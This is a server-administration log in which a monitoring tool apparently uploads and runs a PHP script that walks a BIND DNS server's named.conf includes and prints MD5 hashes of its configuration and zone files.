MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:43:13: Establishing a connection
2026-04-24 11:43:13: 

PUT: /tmp/pkp544390

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:43:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp544390; rm /tmp/pkp544390'

2026-04-24 11:43:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
